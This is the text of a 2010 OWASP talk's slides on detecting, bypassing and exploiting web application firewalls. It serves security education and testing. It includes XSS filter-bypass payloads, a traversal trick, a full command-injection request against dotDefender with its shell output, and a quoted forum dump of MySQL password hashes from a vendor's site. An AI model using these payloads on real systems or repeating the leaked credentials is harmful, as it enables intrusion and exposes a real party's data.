Web Application Firewalls: Detecting, Bypassing & Exploiting Web Application Firewalls

Sandro Gauci and Wendel Guglielmetti Henrique
EnableSecurity and Trustwave
sandro@enablesecurity.com

OWASP
May 20th, 2010

Copyright © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.

The OWASP Foundation
http://www.owasp.org

Friday, 21 May 2010
$ whois WendelGH

- PT Consultant at Trustwave's SpiderLabs
- Over 7 years in the security industry
- Vulnerability discovery Webmails, AP, Citrix, etc
- Spoke in YSTS 2.0, Defcon 16, H2HC and others
- Affiliated to Hackaholic team
$ whois SandroGauci

- Founder and CSO EnableSecurity
- From .mt
- Security software
  - VOIPPACK (CANVAS addon)
  - Surfjack - insecure cookies
  - SIPVicious
- Security research papers
- Been around for > 9 years
Introduction

- WAF - Web Application Firewall
- next generation protection
- what can we do?
  - can be identified, detected
  - bypassing the rules
  - exploit WAFs
What is WAF?

- Attack signatures or abnormal behavior based
- WAFs products: software or hardware appliance.
- Flavors:
  - a reverse proxy
  - embedded
  - connected in a switch (SPAN or RAP)
- WAF products detect both inbound
- Some also detect outbound attacks
Who uses WAFs?

- Many banks around the world
- Companies which need high protection
- Many companies in compliance with PCI DSS (Payment Card Industry - Data Security Standard)
Operation Modes

- Negative model (blacklist based)
- Positive model (whitelist based)
- Mixed / Hybrid
The negative model

- Relies on a database of known attacks
- Eg. XSS strings like `<script>`, `</script>`, `String.fromCharCode`, etc.
- Often regular expressions
Whitelist model

- Whitelist based
- Learning mode to create a security policy of known “good” HTTP traffic
  - Known as dynamic profiling technology by some
- Example:
  Page news.jsp, the field "id" only accept numbers [0-9] and starting at 0 until 65535
  - news.jsp?id=-1 would not be allowed
Common Weaknesses

- Design issues
  - WAFs have to be similar to the web apps and http servers that they need to protect
  - Blacklists are by design “flawed”

- Implementation issues
  - Parsing issues

- Again - a WAF needs to do a lot of things that the web app and http server does
  - ergo they can have similar security flaws!
Detection

- A number of products can be detected
  - sometimes by design

- Detection is not a big deal but
  - ... sometimes we’re told that WAFs are ‘invisible’
  - the better you know your enemy (or client), the better
  - helps in a penetration test or targeted attack
  - shows that stealth attacks are possible
Detection

- Cookies
  - Reason: some WAFs are also load balancers

- Headers
  - Header rewriting
  - Most obvious would be "Server"
  - Sometimes is a feature called “server cloaking”
  - “Connection” header might be changed to Cneonction or nnCoecntion

- Response codes
  - 404 error codes for existent scripts
  - and 403 for non existent ones
Detection via response codes

- 404 error codes for existent scripts
- Different error codes (404, 400, 401, 403, 501, etc) for hostile parameters (even non existent ones) in valid pages.
starting up httpfox to monitor the responses
Automating WAF detection

- WAFW00F
  - Detect around 20 different WAF products
    - the number keeps changing thanks to contributions :-) 
  - Options to detect multiple WAFs in place 
  - Generic detection methods included!

- Get your copy 
  - waffit.googlecode.com 
  - Please contribute

- Latest copy is from svn repository
a short demo of wafw00f in action
Bypassing WAFs

- Negative model is considered weak
- Positive model is considered “impossible” to break
- ... both can be bypassed
Bypassing blacklisting

- Find out what the blacklist consists of
  - Reverse engineering the product
  - Sometimes rules are available (just use eyes)
    - OWASP ModSecurity Core Rule Set Project
  - Brute force
<table>
<thead>
<tr>
<th>Server Date</th>
<th>18/5/2010</th>
</tr>
</thead>
<tbody>
<tr>
<td>Server Time</td>
<td>19:37:51 GMT</td>
</tr>
<tr>
<td>Rule Category</td>
<td>Cross-Site Scripting \ Script (Generic)</td>
</tr>
<tr>
<td>Matched Pattern</td>
<td>`&lt;</td>
</tr>
<tr>
<td>Pattern</td>
<td><code>[/][[:space:]]*[[:space:]]*[c[:space:]]*r[[:space:]]*i[[:space:]]*p[[:space:]]*t</code></td>
</tr>
<tr>
<td>Applied Policy</td>
<td>Monitoring</td>
</tr>
<tr>
<td>IP Address</td>
<td>192.168.2.101</td>
</tr>
<tr>
<td>Port Number</td>
<td>80</td>
</tr>
<tr>
<td>Destination URL</td>
<td><code>http://192.168.2.106/?a=%3Cscript%3Ealert(1)%3C/script%3E</code></td>
</tr>
<tr>
<td>Request Method</td>
<td>GET</td>
</tr>
<tr>
<td>Site profile</td>
<td>Default Security Profile</td>
</tr>
<tr>
<td>Reference ID</td>
<td>a5c6-d355-690c-c542</td>
</tr>
<tr>
<td>Severity</td>
<td>0</td>
</tr>
</tbody>
</table>
How would you bypass this regex?

Need to understand it first

- $(<|\&lt;[;]*|\&LT[;]*>)$
  \[[[:space:]]*/\]*\[[[:space:]]]*s\[[[:space:]]]*c\[[[:space:]]]*$
  r\[[[:space:]]]*i\[[[:space:]]]*p\[[[:space:]]]*t$

- It says:
  - `<` or `&lt;` with possibly a semicolon or `&LT` also with possibly a semicolon
  - Optional space and optional slash etc..
  - There has to be an “s”
  - and a “c” ..

- You get the idea?
How would you bypass this regex?

- Null characters may be useful
  - `<\0script>`

- UTF-7
  - You’d need to have the charset to UTF-7
    - Through headers or a META tag
  - The html would look like the following:
    - `+ADw-script+AD4-alert(22)+ADw-/script+AD4-

- US-ASCII (MSIE specific)
  - Tomcat uses this encoding
    - `žscriptualert(EXSSE)ž/scriptu`

- Or just avoid `<script` tags
More on bypassing WAFs

- Encoding and language support, character sets
- Spaces, comments, case sensitive mutation, Unicode (%uc0af and %c0%af), etc
- The web server may parse, decode and interpret and HTTP request differently from the WAF
- HTML and JS is very flexible
- Various methods to split and encode your strings
Bypassing rules by avoiding them

- If it is not on the blacklist, it will pass through
- What about others like directory traversal attacks?
  - example, if a WAF is looking for "..\", in Windows one may pass ".^.^.\" and the "^" is ignored.
Bypassing rules

■ “Our Favorite XSS Filters and how to Attack Them” by Eduardo Vela & David Lindsay
  ▪ Bypass the rules by splitting the attack
    (eval('al%2b'lrt(0)'))

■ “Shocking News in PHP Exploitation” by Stefan Esser
  ▪ Using “malformed” multipart/form-data to bypass most Modsecurity rules
  ▪ F5 BIG-IP ASM could be bypassed by sending it multipart/form-data that was interpreted differently by PHP than ASM
Vulnerable to XSS
I Am XSSable
The positive model

- It’s well known that the negative model is broken
- What about positive model?
- Bypassing it is typically different and a little bit harder
- But not impossible :-)

Friday, 21 May 2010
Vulnerable to XSS
hi again
Testing WAFs for bypasses is a tedious job

- Which is why we automate it :-)  
- WAFFUN - works in progress
  - Checks if the script echos back (esp in the case of xss)
  - Can check if error suppression is supported
  - Finds out how the WAF responds when it reacts to an attack
  - Goes through a list of well known blacklisted strings
  - If any were blocked, it tries different encoding methods, null characters, unicode
Hello there, this is a vulnerable ASP file

test

this script is vuln to xss
WAFFUN: XSS constructor

- Tries a number of tags to find out which are allowed through
- Tries a number of DHTML event handlers
- Tries a number of Javascript methods
WAFs may be vulnerable too!

- Security software is not necessarily secure
- Web Application specific issues: XSS, SQLi
- Overflows
- DoS
Known issues

■ ModSecurity 2.5.9
  ▪ addresses 2 vulnerabilities
    ▪ "Fixed PDF XSS issue where a non-GET request for a PDF file would crash the Apache httpd process."
    ▪ "Fixed parsing multipart content with a missing part header name which would crash Apache."

■ Profense 2.6.3
  ▪ Profense Web Application Firewall Cross-Site Scripting and Cross-Site Request Forgery

■ DotDefender 3.8-5
  ▪ Command Execution in dotDefender Site Management
    ▪ (requires authentication)
    ▪ seems like it is vulnerable to XSRF
POST /dotDefender/index.cgi HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://172.16.159.132/dotDefender/index.cgi
Authorization: Basic YWRtaW46
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

sitename=dotdefeater&deletesitename=dotdefeater;id;ls -al
../;pwd;&action=deletesite&linenum=15

-----------------------------/Response/-----------------------------
[...]
<br>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 12
drwxr-xr-x 3 root root 4096 Nov 23 02:37 .
drwxr-xr-x 9 root root 4096 Nov 23 02:37 ..
drwxr-xr-x 7 www-data 99 4096 Nov 23 07:11 admin
/usr/local/APPCure-full/lib/admin

Friday, 21 May 2010
Some WAFs have real problems

  - Some guys just broke into this vendor’s db through SQL injection
  - Weird or interesting?
dragonsoft "security site"
Posted by: VMw4r3 (IP Logged)
Date: May 06, 2010 04:26PM

dragonsoft.com, either a honeypot or a really bad waf site.

[+] URL: [www.dragonsoft.com]
[+] 15:19:04
[+] Evasion: + --
[+] Cookie: None
[+] SSL: No
[+] Agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: dragonsoft
User: www@www-local.dragonsoft.com
Version: 5.1.30-log

[+] Do we have Access to MySQL Database: YES <-- w00t w00t

[+] Dumping MySQL user info. user:password:host
[+] Number of users in the mysql.user table: 14
[0] root:*0278533C18BD00F28BBCD192F38923679C1E71D4:localhost
[1] root:*0278533C1BBD00F28BBCD192F38923679C1E71D4:test.dragonsoft
[2] root:*0278533C18BD00F28BBCD192F38923679C1E71D4:127.0.0.1
[5] webprot:*ECA459A855FC3E72F690A6595BA4DA5E472D760E:localhost
[7] dcalendar:*090F8762C8C0778DFDBB200DD8748F979D812C18:localhost
[9] www:*7ECEBBDD1459FB97E2FEB2B2721BDCAE1483C9EDD:192.168.2.4
[12] webprot:*ECA459A855FC3E72F690A6595BA4DA5E472D760E:%
Under Construction

The site you were trying to reach does not currently have a default page. It may be in the process of being upgraded and configured.

Please try this site again later. If you still experience the problem, try contacting the Web site administrator.
The ultimate bypass

- Gain access to the administrative interface
- Disable the WAF
- ... that’s cheating I know :-}
Thank you

- Do you have ideas / resources to improve our tools?
- wsguglielmetti [em] gmail [ponto] com
- sandro [em] enablesecurity [ponto] com
- Questions?